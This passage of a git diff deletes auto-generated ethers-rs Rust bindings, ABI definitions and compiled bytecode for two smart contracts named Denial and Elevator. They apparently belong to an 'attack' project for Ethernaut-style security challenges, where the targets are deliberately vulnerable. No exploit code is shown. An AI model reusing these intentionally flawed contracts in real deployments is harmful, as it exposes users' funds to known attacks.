::ethers::core::abi::ethabi::ParamType::Address, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("address"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("withdraw"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("withdraw"), - inputs: ::std::vec![], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: true, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static DENIAL_ABI: ::ethers::contract::Lazy<::ethers::core::abi::Abi> = - ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x039\x80a\0 `\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0^W`\x005`\xE0\x1C\x80c\x8Bz\xFE.\x11a\0CW\x80c\x8Bz\xFE.\x14a\0\xE3W\x80c\x8D\xA5\xCB[\x14a\x01\x03W\x80c\xBE\x10\x86+\x14a\x01>W`\0\x80\xFD[\x80c<\xCF\xD6\x0B\x14a\0jW\x80cN\x1CY\x14\x14a\0\x81W`\0\x80\xFD[6a\0eW\0[`\0\x80\xFD[4\x80\x15a\0vW`\0\x80\xFD[Pa\0\x7Fa\x01kV[\0[4\x80\x15a\0\x8DW`\0\x80\xFD[Pa\0\x7Fa\0\x9C6`\x04a\x02KV[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[4\x80\x15a\0\xEFW`\0\x80\xFD[P`@QG\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\x01\x0FW`\0\x80\xFD[Pa\x01\x19a\n\x9E\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01a\0\xFAV[4\x80\x15a\x01JW`\0\x80\xFD[P`\0Ta\x01\x19\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`\0a\x01x`dGa\x02\x88V[`\0\x80T`@Q\x92\x93Ps\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x91\x83\x91\x81\x81\x81\x85\x87Z\xF1\x92PPP=\x80`\0\x81\x14a\x01\xD2W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01\xD7V[``\x91P[PP`@Qa\n\x9E\x91P\x82\x15a\x08\xFC\x02\x90\x83\x90`\0\x81\x81\x81\x85\x88\x88\xF1\x93PPPP\x15\x80\x15a\x02\tW=`\0\x80>=`\0\xFD[PB`\x01U`\0\x80Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81R`\x02` R`@\x81 \x80T\x83\x92\x90a\x02C\x90\x84\x90a\x02\xC3V[\x90\x91UPPPV[`\0` \x82\x84\x03\x12\x15a\x02]W`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02\x81W`\0\x80\xFD[\x93\x92PPPV[`\0\x82a\x02\xBEW\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V[\x80\x82\x01\x80\x82\x11\x15a\x02\xFDW\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV\xFE\xA2dipfsX\"\x12 \xB7s\xA8\x83\x95\x03,3^\t\x1F\xC0\x9C\x7F\xD8\x94\xBE\xFB\xCD\xD3\xA6k+\x16\xBC\xDE\x84Fi\xD6>ndsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static DENIAL_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R`\x046\x10a\0^W`\x005`\xE0\x1C\x80c\x8Bz\xFE.\x11a\0CW\x80c\x8Bz\xFE.\x14a\0\xE3W\x80c\x8D\xA5\xCB[\x14a\x01\x03W\x80c\xBE\x10\x86+\x14a\x01>W`\0\x80\xFD[\x80c<\xCF\xD6\x0B\x14a\0jW\x80cN\x1CY\x14\x14a\0\x81W`\0\x80\xFD[6a\0eW\0[`\0\x80\xFD[4\x80\x15a\0vW`\0\x80\xFD[Pa\0\x7Fa\x01kV[\0[4\x80\x15a\0\x8DW`\0\x80\xFD[Pa\0\x7Fa\0\x9C6`\x04a\x02KV[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x16s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x92\x90\x92\x16\x91\x90\x91\x17\x90UV[4\x80\x15a\0\xEFW`\0\x80\xFD[P`@QG\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\x01\x0FW`\0\x80\xFD[Pa\x01\x19a\n\x9E\x81V[`@Qs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x81R` \x01a\0\xFAV[4\x80\x15a\x01JW`\0\x80\xFD[P`\0Ta\x01\x19\x90s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81V[`\0a\x01x`dGa\x02\x88V[`\0\x80T`@Q\x92\x93Ps\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x91\x83\x91\x81\x81\x81\x85\x87Z\xF1\x92PPP=\x80`\0\x81\x14a\x01\xD2W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01\xD7V[``\x91P[PP`@Qa\n\x9E\x91P\x82\x15a\x08\xFC\x02\x90\x83\x90`\0\x81\x81\x81\x85\x88\x88\xF1\x93PPPP\x15\x80\x15a\x02\tW=`\0\x80>=`\0\xFD[PB`\x01U`\0\x80Ts\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\x81R`\x02` R`@\x81 \x80T\x83\x92\x90a\x02C\x90\x84\x90a\x02\xC3V[\x90\x91UPPPV[`\0` \x82\x84\x03\x12\x15a\x02]W`\0\x80\xFD[\x815s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02\x81W`\0\x80\xFD[\x93\x92PPPV[`\0\x82a\x02\xBEW\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x12`\x04R`$`\0\xFD[P\x04\x90V[\x80\x82\x01\x80\x82\x11\x15a\x02\xFDW\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x92\x91PPV\xFE\xA2dipfsX\"\x12 \xB7s\xA8\x83\x95\x03,3^\t\x1F\xC0\x9C\x7F\xD8\x94\xBE\xFB\xCD\xD3\xA6k+\x16\xBC\xDE\x84Fi\xD6>ndsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static DENIAL_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct Denial(::ethers::contract::Contract); - impl ::core::clone::Clone for Denial { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Denial { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Denial { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Denial { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Denial)) - .field(&self.address()) - .finish() - } - } - impl Denial { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - DENIAL_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - DENIAL_ABI.clone(), - DENIAL_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `contractBalance` - /// (0x8b7afe2e) function - pub fn contract_balance( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([139, 122, 254, 46], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `partner` (0xbe10862b) - /// function - pub fn partner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([190, 16, 134, 43], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `setWithdrawPartner` - /// (0x4e1c5914) function - pub fn set_withdraw_partner( - &self, - partner: ::ethers::core::types::Address, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([78, 28, 89, 20], partner) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `withdraw` (0x3ccfd60b) - /// function - pub fn withdraw( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([60, 207, 214, 11], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for Denial - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `contractBalance` function with signature - /// `contractBalance()` and selector `0x8b7afe2e` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "contractBalance", abi = "contractBalance()")] - pub struct ContractBalanceCall; - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all input parameters for the - /// `partner` function with signature `partner()` and - /// selector `0xbe10862b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "partner", abi = "partner()")] - pub struct PartnerCall; - ///Container type for all input parameters for the - /// `setWithdrawPartner` function with signature - /// `setWithdrawPartner(address)` and selector - /// `0x4e1c5914` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "setWithdrawPartner", abi = "setWithdrawPartner(address)")] - pub struct SetWithdrawPartnerCall { - pub partner: ::ethers::core::types::Address, - } - ///Container type for all input parameters for the - /// `withdraw` function with signature `withdraw()` and - /// selector `0x3ccfd60b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "withdraw", abi = "withdraw()")] - pub struct WithdrawCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum DenialCalls { - ContractBalance(ContractBalanceCall), - Owner(OwnerCall), - Partner(PartnerCall), - SetWithdrawPartner(SetWithdrawPartnerCall), - Withdraw(WithdrawCall), - } - impl ::ethers::core::abi::AbiDecode for DenialCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::ContractBalance(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Partner(decoded)); - } - if let Ok(decoded) - = ::decode( - data, - ) { - return Ok(Self::SetWithdrawPartner(decoded)); - } - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Withdraw(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for DenialCalls { - fn encode(self) -> Vec { - match self { - Self::ContractBalance(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Partner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::SetWithdrawPartner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::Withdraw(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for DenialCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::ContractBalance(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - Self::Partner(element) => ::core::fmt::Display::fmt(element, f), - Self::SetWithdrawPartner(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::Withdraw(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for DenialCalls { - fn from(value: ContractBalanceCall) -> Self { - Self::ContractBalance(value) - } - } - impl ::core::convert::From for DenialCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - impl ::core::convert::From for DenialCalls { - fn from(value: PartnerCall) -> Self { Self::Partner(value) } - } - impl ::core::convert::From for DenialCalls { - fn from(value: SetWithdrawPartnerCall) -> Self { - Self::SetWithdrawPartner(value) - } - } - impl ::core::convert::From for DenialCalls { - fn from(value: WithdrawCall) -> Self { Self::Withdraw(value) } - } - ///Container type for all return fields from the - /// `contractBalance` function with signature - /// `contractBalance()` and selector `0x8b7afe2e` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct ContractBalanceReturn(pub ::ethers::core::types::U256); - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `partner` function with signature `partner()` and - /// selector `0xbe10862b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct PartnerReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/elevator.rs b/attack/src/abi/elevator.rs deleted file mode 100644 index 09b54cd..0000000 --- a/attack/src/abi/elevator.rs +++ /dev/null @@ -1,367 +0,0 @@ -pub use elevator::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod elevator { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([ - ( - ::std::borrow::ToOwned::to_owned("floor"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("floor"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("goTo"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("goTo"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_floor"), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::NonPayable, - }, - ], - ), - ( - ::std::borrow::ToOwned::to_owned("top"), - ::std::vec![ - ::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("top"), - inputs: ::std::vec![], - outputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::string::String::new(), - kind: ::ethers::core::abi::ethabi::ParamType::Bool, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("bool"), - ), - }, - ], - constant: ::core::option::Option::None, - state_mutability: ::ethers::core::abi::ethabi::StateMutability::View, - }, - ], - ), - ]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static ELEVATOR_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\x02W\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0AW`\x005`\xE0\x1C\x80c@iSc\x14a\0FW\x80c\xED\x9Aq4\x14a\0bW\x80c\xFEm\xCD\xBA\x14a\0wW[`\0\x80\xFD[a\0O`\x01T\x81V[`@Q\x90\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0ua\0p6`\x04a\x01\xDFV[a\0\x94V[\0[`\0Ta\0\x84\x90`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0YV[`@Q\x7F_\x9AK\xCA\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x82\x90R3\x90\x81\x90c_\x9AK\xCA\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\0\xEDW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\x11\x91\x90a\x01\xF8V[a\x01\xDBW`\x01\x82\x90U`@Q\x7F_\x9AK\xCA\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x83\x90Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x16\x90c_\x9AK\xCA\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01\x87W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\xAB\x91\x90a\x01\xF8V[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\x16\x91\x15\x15\x91\x90\x91\x17\x90U[PPV[`\0` \x82\x84\x03\x12\x15a\x01\xF1W`\0\x80\xFD[P5\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02\nW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02\x1AW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \x164\x04\xF1q\x86\t\xA1\xE2=\xBE\r\x9Aa\x1Az\xEF\x06\x98?i\x01;\x94\xDF\xC0V\x1D\x85A\x05\x13dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static ELEVATOR_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0AW`\x005`\xE0\x1C\x80c@iSc\x14a\0FW\x80c\xED\x9Aq4\x14a\0bW\x80c\xFEm\xCD\xBA\x14a\0wW[`\0\x80\xFD[a\0O`\x01T\x81V[`@Q\x90\x81R` \x01[`@Q\x80\x91\x03\x90\xF3[a\0ua\0p6`\x04a\x01\xDFV[a\0\x94V[\0[`\0Ta\0\x84\x90`\xFF\x16\x81V[`@Q\x90\x15\x15\x81R` \x01a\0YV[`@Q\x7F_\x9AK\xCA\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x82\x90R3\x90\x81\x90c_\x9AK\xCA\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\0\xEDW=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\x11\x91\x90a\x01\xF8V[a\x01\xDBW`\x01\x82\x90U`@Q\x7F_\x9AK\xCA\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\x81R`\x04\x81\x01\x83\x90Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x82\x16\x90c_\x9AK\xCA\x90`$\x01` `@Q\x80\x83\x03\x81`\0\x87Z\xF1\x15\x80\x15a\x01\x87W=`\0\x80>=`\0\xFD[PPPP`@Q=`\x1F\x19`\x1F\x82\x01\x16\x82\x01\x80`@RP\x81\x01\x90a\x01\xAB\x91\x90a\x01\xF8V[`\0\x80T\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\0\x16\x91\x15\x15\x91\x90\x91\x17\x90U[PPV[`\0` \x82\x84\x03\x12\x15a\x01\xF1W`\0\x80\xFD[P5\x91\x90PV[`\0` \x82\x84\x03\x12\x15a\x02\nW`\0\x80\xFD[\x81Q\x80\x15\x15\x81\x14a\x02\x1AW`\0\x80\xFD[\x93\x92PPPV\xFE\xA2dipfsX\"\x12 \x164\x04\xF1q\x86\t\xA1\xE2=\xBE\r\x9Aa\x1Az\xEF\x06\x98?i\x01;\x94\xDF\xC0V\x1D\x85A\x05\x13dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static ELEVATOR_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct Elevator(::ethers::contract::Contract); - impl ::core::clone::Clone for Elevator { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Elevator { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Elevator { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Elevator { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Elevator)) - .field(&self.address()) - .finish() - } - } - impl Elevator { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - ELEVATOR_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - ELEVATOR_ABI.clone(), - ELEVATOR_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `floor` (0x40695363) - /// function - pub fn floor( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::U256, - > { - self.0 - .method_hash([64, 105, 83, 99], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `goTo` (0xed9a7134) - /// function - pub fn go_to( - &self, - floor: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([237, 154, 113, 52], floor) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `top` (0xfe6dcdba) function - pub fn top( - &self, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([254, 109, 205, 186], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for Elevator - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `floor` function with signature `floor()` and - /// selector `0x40695363` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "floor", abi = "floor()")] - pub struct FloorCall; - ///Container type for all input parameters for the - /// `goTo` function with signature `goTo(uint256)` and - /// selector `0xed9a7134` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - 